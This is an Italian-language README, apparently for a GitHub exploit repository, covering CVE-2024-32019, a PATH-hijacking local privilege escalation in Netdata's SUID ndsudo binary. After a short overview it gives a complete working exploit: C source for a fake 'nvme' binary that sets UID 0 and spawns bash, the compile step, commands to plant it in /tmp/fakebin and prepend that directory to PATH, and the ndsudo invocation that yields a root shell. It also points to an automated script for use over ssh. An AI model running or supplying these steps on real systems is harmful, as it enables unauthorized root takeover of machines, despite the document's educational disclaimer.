🚨 CVE-2024-32019 - Exploit della vulnerabilità PATH di `ndsudo` di Netdata (LPE a Root)

Uno sfruttamento basato su Python per CVE-2024-32019, una vulnerabilità di escalation dei privilegi locali ad alta gravità nell'agente Netdata, che sfrutta un binario SUID configurato in modo errato (ndsudo) che non gestisce in modo sicuro la variabile d'ambiente PATH.

[!Caution] Questo codice è esclusivamente a scopo didattico e di test autorizzato. L'uso non autorizzato di questo strumento contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di esplicita autorizzazione al test è illegale.

🔍 Panoramica

ID CVE: CVE-2024-32019
Punteggio CVSS: 8.8 (Alto)
Divulgata: 12 aprile 2024
Componente: Agente Netdata
Versioni interessate:

>= v1.45.0, < v1.45.3
>= v1.44.0-60, < v1.45.0-169

🧠 Riepilogo Tecnico

Lo strumento ndsudo di Netdata è un binario SUID root progettato per eseguire in modo sicuro un insieme limitato di comandi di sistema (come nvme) per conto di utenti non root.

Tuttavia, a causa di un difetto di implementazione, fa affidamento sulla variabile PATH controllata dall'utente quando risolve i binari dei comandi. Se un attaccante riesce a manipolare il PATH per includere una directory scrivibile contenente un binario malevolo, ndsudo lo eseguirà con privilegi di root — determinando un'escalation dei privilegi locali.

💥 Passaggi di Sfruttamento Manuale

I seguenti passaggi dimostrano come sfruttare manualmente la vulnerabilità in ndsudo.

1. Creare un Binario per l'Escalation dei Privilegi

Salva il seguente codice C come nvme.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

2. Compilare l'Exploit

gcc nvme.c -o nvme

3. Preparare l'Ambiente dell'Exploit sul Sistema Bersaglio

mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme

4. Modificare il `PATH`

export PATH=/tmp/fakebin:$PATH
which nvme
# Output: /tmp/fakebin/nvme

5. Attivare l'Exploit

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

Se l'operazione riesce, otterrai una shell di root.

# whoami
root

Sfruttamento Automatico

Se disponi di accesso ssh, puoi usare CVE-2024-32019-dbs.py per automatizzare il processo.

Sfruttamento tramite script

Più Popolari

CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation